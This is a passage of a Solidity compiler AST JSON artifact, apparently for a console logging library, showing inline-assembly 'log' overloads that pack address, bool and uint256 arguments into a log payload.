:22","nodeType":"YulIdentifier","src":"22584:6:22"},"nativeSrc":"22584:16:22","nodeType":"YulFunctionCall","src":"22584:16:22"},"nativeSrc":"22584:16:22","nodeType":"YulExpressionStatement","src":"22584:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22620:4:22","nodeType":"YulLiteral","src":"22620:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"22626:2:22","nodeType":"YulIdentifier","src":"22626:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22613:6:22","nodeType":"YulIdentifier","src":"22613:6:22"},"nativeSrc":"22613:16:22","nodeType":"YulFunctionCall","src":"22613:16:22"},"nativeSrc":"22613:16:22","nodeType":"YulExpressionStatement","src":"22613:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34363,"isOffset":false,"isSlot":false,"src":"22345:2:22","valueSize":1},{"declaration":34366,"isOffset":false,"isSlot":false,"src":"22375:2:22","valueSize":1},{"declaration":34369,"isOffset":false,"isSlot":false,"src":"22405:2:22","valueSize":1},{"declaration":34372,"isOffset":false,"isSlot":false,"src":"22435:2:22","valueSize":1},{"declaration":34355,"isOffset":false,"isSlot":false,"src":"22568:2:22","valueSize":1},{"declaration":34357,"isOffset":false,"isSlot":false,"src":"22597:2:22","valueSize":1},{"declaration":34359,"isOffset":false,"isSlot":false,"src":"22626:2:22","valueSize":1}],"id":34374,"nodeType":"InlineAssembly","src":"22322:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34376,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"22664:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34377,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"22670:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34375,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"22648:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34378,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22648:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34379,"nodeType":"ExpressionStatement","src":"22648:27:22"},{"AST":{"nativeSrc":"22694:127:22","nodeType":"YulBlock","src":"22694:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"22715:4:22","nodeType":"YulLiteral","src":"22715:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"22721:2:22","nodeType":"YulIdentifier","src":"22721:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22708:6:22","nodeType":"YulIdentifier","src":"22708:6:22"},"nativeSrc":"22708:16:22","nodeType":"YulFunctionCall","src":"22708:16:22"},"nativeSrc":"22708:16:22","nodeType":"YulExpressionStatement","src":"22708:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22744:4:22","nodeType":"YulLiteral","src":"22744:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"22750:2:22","nodeType":"YulIdentifier","src":"22750:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22737:6:22","nodeType":"YulIdentifier","src":"22737:6:22"},"nativeSrc":"22737:16:22","nodeType":"YulFunctionCall","src":"22737:16:22"},"nativeSrc":"22737:16:22","nodeType":"YulExpressionStatement","src":"22737:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22773:4:22","nodeType":"YulLiteral","src":"22773:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"22779:2:22","nodeType":"YulIdentifier","src":"22779:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22766:6:22","nodeType":"YulIdentifier","src":"22766:6:22"},"nativeSrc":"22766:16:22","nodeType":"YulFunctionCall","src":"22766:16:22"},"nativeSrc":"22766:16:22","nodeType":"YulExpressionStatement","src":"22766:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22802:4:22","nodeType":"YulLiteral","src":"22802:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"22808:2:22","nodeType":"YulIdentifier","src":"22808:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22795:6:22","nodeType":"YulIdentifier","src":"22795:6:22"},"nativeSrc":"22795:16:22","nodeType":"YulFunctionCall","src":"22795:16:22"},"nativeSrc":"22795:16:22","nodeType":"YulExpressionStatement","src":"22795:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34363,"isOffset":false,"isSlot":false,"src":"22721:2:22","valueSize":1},{"declaration":34366,"isOffset":false,"isSlot":false,"src":"22750:2:22","valueSize":1},{"declaration":34369,"isOffset":false,"isSlot":false,"src":"22779:2:22","valueSize":1},{"declaration":34372,"isOffset":false,"isSlot":false,"src":"22808:2:22","valueSize":1}],"id":34380,"nodeType":"InlineAssembly","src":"22685:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22184:3:22","parameters":{"id":34360,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34355,"mutability":"mutable","name":"p0","nameLocation":"22196:2:22","nodeType":"VariableDeclaration","scope":34382,"src":"22188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34354,"name":"address","nodeType":"ElementaryTypeName","src":"22188:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34357,"mutability":"mutable","name":"p1","nameLocation":"22205:2:22","nodeType":"VariableDeclaration","scope":34382,"src":"22200:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34356,"name":"bool","nodeType":"ElementaryTypeName","src":"22200:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34359,"mutability":"mutable","name":"p2","nameLocation":"22214:2:22","nodeType":"VariableDeclaration","scope":34382,"src":"22209:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34358,"name":"bool","nodeType":"ElementaryTypeName","src":"22209:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22187:30:22"},"returnParameters":{"id":34361,"nodeType":"ParameterList","parameters":[],"src":"22232:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34411,"nodeType":"FunctionDefinition","src":"22833:658:22","nodes":[],"body":{"id":34410,"nodeType":"Block","src":"22893:598:22","nodes":[],"statements":[{"assignments":[34392],"declarations":[{"constant":false,"id":34392,"mutability":"mutable","name":"m0","nameLocation":"22911:2:22","nodeType":"VariableDeclaration","scope":34410,"src":"22903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22903:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34393,"nodeType":"VariableDeclarationStatement","src":"22903:10:22"},{"assignments":[34395],"declarations":[{"constant":false,"id":34395,"mutability":"mutable","name":"m1","nameLocation":"22931:2:22","nodeType":"VariableDeclaration","scope":34410,"src":"22923:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34394,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22923:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34396,"nodeType":"VariableDeclarationStatement","src":"22923:10:22"},{"assignments":[34398],"declarations":[{"constant":false,"id":34398,"mutability":"mutable","name":"m2","nameLocation":"22951:2:22","nodeType":"VariableDeclaration","scope":34410,"src":"22943:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34397,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22943:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34399,"nodeType":"VariableDeclarationStatement","src":"22943:10:22"},{"assignments":[34401],"declarations":[{"constant":false,"id":34401,"mutability":"mutable","name":"m3","nameLocation":"22971:2:22","nodeType":"VariableDeclaration","scope":34410,"src":"22963:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22963:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34402,"nodeType":"VariableDeclarationStatement","src":"22963:10:22"},{"AST":{"nativeSrc":"22992:311:22","nodeType":"YulBlock","src":"22992:311:22","statements":[{"nativeSrc":"23006:17:22","nodeType":"YulAssignment","src":"23006:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"23018:4:22","nodeType":"YulLiteral","src":"23018:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"23012:5:22","nodeType":"YulIdentifier","src":"23012:5:22"},"nativeSrc":"23012:11:22","nodeType":"YulFunctionCall","src":"23012:11:22"},"variableNames":[{"name":"m0","nativeSrc":"23006:2:22","nodeType":"YulIdentifier","src":"23006:2:22"}]},{"nativeSrc":"23036:17:22","nodeType":"YulAssignment","src":"23036:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"23048:4:22","nodeType":"YulLiteral","src":"23048:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"23042:5:22","nodeType":"YulIdentifier","src":"23042:5:22"},"nativeSrc":"23042:11:22","nodeType":"YulFunctionCall","src":"23042:11:22"},"variableNames":[{"name":"m1","nativeSrc":"23036:2:22","nodeType":"YulIdentifier","src":"23036:2:22"}]},{"nativeSrc":"23066:17:22","nodeType":"YulAssignment","src":"23066:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"23078:4:22","nodeType":"YulLiteral","src":"23078:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"23072:5:22","nodeType":"YulIdentifier","src":"23072:5:22"},"nativeSrc":"23072:11:22","nodeType":"YulFunctionCall","src":"23072:11:22"},"variableNames":[{"name":"m2","nativeSrc":"23066:2:22","nodeType":"YulIdentifier","src":"23066:2:22"}]},{"nativeSrc":"23096:17:22","nodeType":"YulAssignment","src":"23096:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"23108:4:22","nodeType":"YulLiteral","src":"23108:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"23102:5:22","nodeType":"YulIdentifier","src":"23102:5:22"},"nativeSrc":"23102:11:22","nodeType":"YulFunctionCall","src":"23102:11:22"},"variableNames":[{"name":"m3","nativeSrc":"23096:2:22","nodeType":"YulIdentifier","src":"23096:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23189:4:22","nodeType":"YulLiteral","src":"23189:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"23195:10:22","nodeType":"YulLiteral","src":"23195:10:22","type":"","value":"0x9c4f99fb"}],"functionName":{"name":"mstore","nativeSrc":"23182:6:22","nodeType":"YulIdentifier","src":"23182:6:22"},"nativeSrc":"23182:24:22","nodeType":"YulFunctionCall","src":"23182:24:22"},"nativeSrc":"23182:24:22","nodeType":"YulExpressionStatement","src":"23182:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23226:4:22","nodeType":"YulLiteral","src":"23226:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"23232:2:22","nodeType":"YulIdentifier","src":"23232:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23219:6:22","nodeType":"YulIdentifier","src":"23219:6:22"},"nativeSrc":"23219:16:22","nodeType":"YulFunctionCall","src":"23219:16:22"},"nativeSrc":"23219:16:22","nodeType":"YulExpressionStatement","src":"23219:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23255:4:22","nodeType":"YulLiteral","src":"23255:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"23261:2:22","nodeType":"YulIdentifier","src":"23261:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23248:6:22","nodeType":"YulIdentifier","src":"23248:6:22"},"nativeSrc":"23248:16:22","nodeType":"YulFunctionCall","src":"23248:16:22"},"nativeSrc":"23248:16:22","nodeType":"YulExpressionStatement","src":"23248:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23284:4:22","nodeType":"YulLiteral","src":"23284:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"23290:2:22","nodeType":"YulIdentifier","src":"23290:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23277:6:22","nodeType":"YulIdentifier","src":"23277:6:22"},"nativeSrc":"23277:16:22","nodeType":"YulFunctionCall","src":"23277:16:22"},"nativeSrc":"23277:16:22","nodeType":"YulExpressionStatement","src":"23277:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34392,"isOffset":false,"isSlot":false,"src":"23006:2:22","valueSize":1},{"declaration":34395,"isOffset":false,"isSlot":false,"src":"23036:2:22","valueSize":1},{"declaration":34398,"isOffset":false,"isSlot":false,"src":"23066:2:22","valueSize":1},{"declaration":34401,"isOffset":false,"isSlot":false,"src":"23096:2:22","valueSize":1},{"declaration":34384,"isOffset":false,"isSlot":false,"src":"23232:2:22","valueSize":1},{"declaration":34386,"isOffset":false,"isSlot":false,"src":"23261:2:22","valueSize":1},{"declaration":34388,"isOffset":false,"isSlot":false,"src":"23290:2:22","valueSize":1}],"id":34403,"nodeType":"InlineAssembly","src":"22983:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"23328:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34406,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"23334:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34404,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"23312:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23312:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34408,"nodeType":"ExpressionStatement","src":"23312:27:22"},{"AST":{"nativeSrc":"23358:127:22","nodeType":"YulBlock","src":"23358:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"23379:4:22","nodeType":"YulLiteral","src":"23379:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"23385:2:22","nodeType":"YulIdentifier","src":"23385:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23372:6:22","nodeType":"YulIdentifier","src":"23372:6:22"},"nativeSrc":"23372:16:22","nodeType":"YulFunctionCall","src":"23372:16:22"},"nativeSrc":"23372:16:22","nodeType":"YulExpressionStatement","src":"23372:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23408:4:22","nodeType":"YulLiteral","src":"23408:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"23414:2:22","nodeType":"YulIdentifier","src":"23414:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23401:6:22","nodeType":"YulIdentifier","src":"23401:6:22"},"nativeSrc":"23401:16:22","nodeType":"YulFunctionCall","src":"23401:16:22"},"nativeSrc":"23401:16:22","nodeType":"YulExpressionStatement","src":"23401:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23437:4:22","nodeType":"YulLiteral","src":"23437:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"23443:2:22","nodeType":"YulIdentifier","src":"23443:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23430:6:22","nodeType":"YulIdentifier","src":"23430:6:22"},"nativeSrc":"23430:16:22","nodeType":"YulFunctionCall","src":"23430:16:22"},"nativeSrc":"23430:16:22","nodeType":"YulExpressionStatement","src":"23430:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"23466:4:22","nodeType":"YulLiteral","src":"23466:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"23472:2:22","nodeType":"YulIdentifier","src":"23472:2:22"}],"functionName":{"name":"mstore","nativeSrc":"23459:6:22","nodeType":"YulIdentifier","src":"23459:6:22"},"nativeSrc":"23459:16:22","nodeType":"YulFunctionCall","src":"23459:16:22"},"nativeSrc":"23459:16:22","nodeType":"YulExpressionStatement","src":"23459:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34392,"isOffset":false,"isSlot":false,"src":"23385:2:22","valueSize":1},{"declaration":34395,"isOffset":false,"isSlot":false,"src":"23414:2:22","valueSize":1},{"declaration":34398,"isOffset":false,"isSlot":false,"src":"23443:2:22","valueSize":1},{"declaration":34401,"isOffset":false,"isSlot":false,"src":"23472:2:22","valueSize":1}],"id":34409,"nodeType":"InlineAssembly","src":"23349:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22842:3:22","parameters":{"id":34389,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34384,"mutability":"mutable","name":"p0","nameLocation":"22854:2:22","nodeType":"VariableDeclaration","scope":34411,"src":"22846:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34383,"name":"address","nodeType":"ElementaryTypeName","src":"22846:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34386,"mutability":"mutable","name":"p1","nameLocation":"22863:2:22","nodeType":"VariableDeclaration","scope":34411,"src":"22858:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34385,"name":"bool","nodeType":"ElementaryTypeName","src":"22858:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34388,"mutability":"mutable","name":"p2","nameLocation":"22875:2:22","nodeType":"VariableDeclaration","scope":34411,"src":"22867:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34387,"name":"uint256","nodeType":"ElementaryTypeName","src":"22867:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"22845:33:22"},"returnParameters":{"id":34390,"nodeType":"ParameterList","parameters":[],"src":"22893:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34446,"nodeType":"FunctionDefinition","src":"23497:1206:22","nodes":[],"body":{"id":34445,"nodeType":"Block","src":"23557:1146:22","nodes":[],"statements":[{"assignments":[34421],"declarations":[{"constant":false,"id":34421,"mutability":"mutable","name":"m0","nameLocation":"23575:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23567:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34420,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23567:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34422,"nodeType":"VariableDeclarationStatement","src":"23567:10:22"},{"assignments":[34424],"declarations":[{"constant":false,"id":34424,"mutability":"mutable","name":"m1","nameLocation":"23595:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23587:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34423,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23587:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34425,"nodeType":"VariableDeclarationStatement","src":"23587:10:22"},{"assignments":[34427],"declarations":[{"constant":false,"id":34427,"mutability":"mutable","name":"m2","nameLocation":"23615:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23607:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34426,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23607:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34428,"nodeType":"VariableDeclarationStatement","src":"23607:10:22"},{"assignments":[34430],"declarations":[{"constant":false,"id":34430,"mutability":"mutable","name":"m3","nameLocation":"23635:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23627:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34429,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23627:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34431,"nodeType":"VariableDeclarationStatement","src":"23627:10:22"},{"assignments":[34433],"declarations":[{"constant":false,"id":34433,"mutability":"mutable","name":"m4","nameLocation":"23655:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23647:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34432,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23647:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34434,"nodeType":"VariableDeclarationStatement","src":"23647:10:22"},{"assignments":[34436],"declarations":[{"constant":false,"id":34436,"mutability":"mutable","name":"m5","nameLocation":"23675:2:22","nodeType":"VariableDeclaration","scope":34445,"src":"23667:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34435,"name":"bytes32","nodeType":"ElementaryTypeName","src":"23667:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34437,"nodeType":"VariableDeclarationStatement","src":"23667:10:22"},{"AST":{"nativeSrc":"23696:761:22","nodeType":"YulBlock","src":"23696:761:22","statements":[{"body":{"nativeSrc":"23739:313:22","nodeType":"YulBlock","src":"23739:313:22","statements":[{"nativeSrc":"23757:15:22","nodeType":"YulVariableDeclaration","src":"23757:15:22","value":{"kind":"number","nativeSrc":"23771:1:22","nodeType":"YulLiteral","src":"23771:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"23761:6:22","nodeType":"YulTypedName","src":"23761:6:22","type":""}]},{"body":{"nativeSrc":"23842:40:22","nodeType":"YulBlock","src":"23842:40:22","statements":[{"body":{"nativeSrc":"23871:9:22","nodeType":"YulBlock","src":"23871:9:22","statements":[{"nativeSrc":"23873:5:22","nodeType":"YulBreak","src":"23873:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"23859:6:22","nodeType":"YulIdentifier","src":"23859:6:22"},{"name":"w","nativeSrc":"23867:1:22","nodeType":"YulIdentifier","src":"23867:1:22"}],"functionName":{"name":"byte","nativeSrc":"23854:4:22","nodeType":"YulIdentifier","src":"23854:4:22"},"nativeSrc":"23854:15:22","nodeType":"YulFunctionCall","src":"23854:15:22"}],"functionName":{"name":"iszero","nativeSrc":"23847:6:22","nodeType":"YulIdentifier","src":"23847:6:22"},"nativeSrc":"23847:23:22","nodeType":"YulFunctionCall","src":"23847:23:22"},"nativeSrc":"23844:36:22","nodeType":"YulIf","src":"23844:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"23799:6:22","nodeType":"YulIdentifier","src":"23799:6:22"},{"kind":"number","nativeSrc":"23807:4:22","nodeType":"YulLiteral","src":"23807:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"23796:2:22","nodeType":"YulIdentifier","src":"23796:2:22"},"nativeSrc":"23796:16:22","nodeType":"YulFunctionCall","src":"23796:16:22"},"nativeSrc":"23789:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"23813:28:22","nodeType":"YulBlock","src":"23813:28:22","statements":[{"nativeSrc":"23815:24:22","nodeType":"YulAssignment","src":"23815:24:22","value":{"arguments":[{"name":"length","nativeSrc":"23829:6:22","nodeType":"YulIdentifier","src":"23829:6:22"},{"kind":"number","nativeSrc":"23837:1:22","nodeType":"YulLiteral","src":"23837:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"23825:3:22","nodeType":"YulIdentifier","src":"23825:3:22"},"nativeSrc":"23825:14:22","nodeType":"YulFunctionCall","src":"23825:14:22"},"variableNames":[{"name":"length","nativeSrc":"23815:6:22","nodeType":"YulIdentifier","src":"23815:6:22"}]}]},"pre":{"nativeSrc":"23793:2:22","nodeType":"YulBlock","src":"23793:2:22","statements":[]},"src":"23789:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"23906:3:22","nodeType":"YulIdentifier","src":"23906:3:22"},{"name":"length","nativeSrc":"23911:6:22","nodeType":"YulIdentifier","src":"23911:6:22"}],"functionName":{"name":"mstore","nativeSrc":"23899:6:22","nodeType":"YulIdentifier","src":"23899:6:22"},"nativeSrc":"23899:19:22","nodeType":"YulFunctionCall","src":"23899:19:22"},"nativeSrc":"23899:19:22","nodeType":"YulExpressionStatement","src":"23899:19:22"},{"nativeSrc":"23935:37:22","nodeType":"YulVariableDeclaration","src":"23935:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"23952:3:22","nodeType":"YulLiteral","src":"23952:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"23961:1:22","nodeType":"YulLiteral","src":"23961:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"23964:6:22","nodeType":"YulIdentifier","src":"23964:6:22"}],"functionName":{"name":"shl","nativeSrc":"23957:3:22","nodeType":"YulIdentifier","src":"23957:3:22"},"nativeSrc":"23957:14:22","nodeType":"YulFunctionCall","src":"23957:14:22"}],"functionName":{"name":"sub","nativeSrc":"23948:3:22","nodeType":"YulIdentifier","src":"23948:3:22"},"nativeSrc":"23948:24:22","nodeType":"YulFunctionCall","src":"23948:24:22"},"variables":[{"name":"shift","nativeSrc":"23939:5:22","nodeType":"YulTypedName","src":"23939:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"24000:3:22","nodeType":"YulIdentifier","src":"24000:3:22"},{"kind":"number","nativeSrc":"24005:4:22","nodeType":"YulLiteral","src":"24005:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"23996:3:22","nodeType":"YulIdentifier","src":"23996:3:22"},"nativeSrc":"23996:14:22","nodeType":"YulFunctionCall","src":"23996:14:22"},{"arguments":[{"name":"shift","nativeSrc":"24016:5:22","nodeType":"YulIdentifier","src":"24016:5:22"},{"arguments":[{"name":"shift","nativeSrc":"24027:5:22","nodeType":"YulIdentifier","src":"24027:5:22"},{"name":"w","nativeSrc":"24034:1:22","nodeType":"YulIdentifier","src":"24034:1:22"}],"functionName":{"name":"shr","nativeSrc":"24023:3:22","nodeType":"YulIdentifier","src":"24023:3:22"},"nativeSrc":"24023:13:22","nodeType":"YulFunctionCall","src":"24023:13:22"}],"functionName":{"name":"shl","nativeSrc":"24012:3:22","nodeType":"YulIdentifier","src":"24012:3:22"},"nativeSrc":"24012:25:22","nodeType":"YulFunctionCall","src":"24012:25:22"}],"functionName":{"name":"mstore","nativeSrc":"23989:6:22","nodeType":"YulIdentifier","src":"23989:6:22"},"nativeSrc":"23989:49:22","nodeType":"YulFunctionCall","src":"23989:49:22"},"nativeSrc":"23989:49:22","nodeType":"YulExpressionStatement","src":"23989:49:22"}]},"name":"writeString","nativeSrc":"23710:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"23731:3:22","nodeType":"YulTypedName","src":"23731:3:22","type":""},{"name":"w","nativeSrc":"23736:1:22","nodeType":"YulTypedName","src":"23736:1:22","type":""}],"src":"23710:342:22"},{"nativeSrc":"24065:17:22","nodeType":"YulAssignment","src":"24065:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"24077:4:22","nodeType":"YulLiteral","src":"24077:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"24071:5:22","nodeType":"YulIdentifier","src":"24071:5:22"},"nativeSrc":"24071:11:22","nodeType":"YulFunctionCall","src":"24071:11:22"},"variableNames":[{"name":"m0","nativeSrc":"24065:2:22","nodeType":"YulIdentifier","src":"24065:2:22"}]},{"nativeSrc":"24095:17:22","nodeType":"YulAssignment","src":"24095:17:22","value":{